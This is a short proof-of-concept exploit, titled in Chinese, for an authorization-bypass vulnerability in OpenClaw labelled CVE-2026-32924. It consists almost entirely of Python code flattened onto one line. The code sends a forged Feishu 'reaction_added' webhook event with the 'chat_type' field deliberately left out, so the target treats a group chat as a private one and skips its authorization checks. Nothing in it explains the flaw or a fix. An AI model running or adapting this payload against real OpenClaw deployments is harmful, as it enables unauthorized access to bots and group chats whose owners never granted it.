CVE-2026-32924 OpenClaw授权绕过漏洞

import requests import json # Target OpenClaw Webhook URL target_url = 'http://target-openclaw-instance/webhook' # Payload simulates a Feishu reaction event # Exploit: 'chat_type' is omitted to trigger misclassification as P2P payload = { "token": "verify_token", "challenge": "challenge_code", "type": "event_callback", "event": { "operator": {"user_id": "attacker_id"}, "reaction": {"emoji_type": "thumbsup", "emoji": "\ud83d\udc4d"}, "chat_id": "group_chat_id", "open_chat_id": "oc_group_id", "app_id": "app_id", "timestamp": "1640000000", "event_type": "reaction_added" # CRITICAL: 'chat_type' field is missing here } } headers = {'Content-Type': 'application/json'} try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")except Exception as e: print(f"An error occurred: {e}")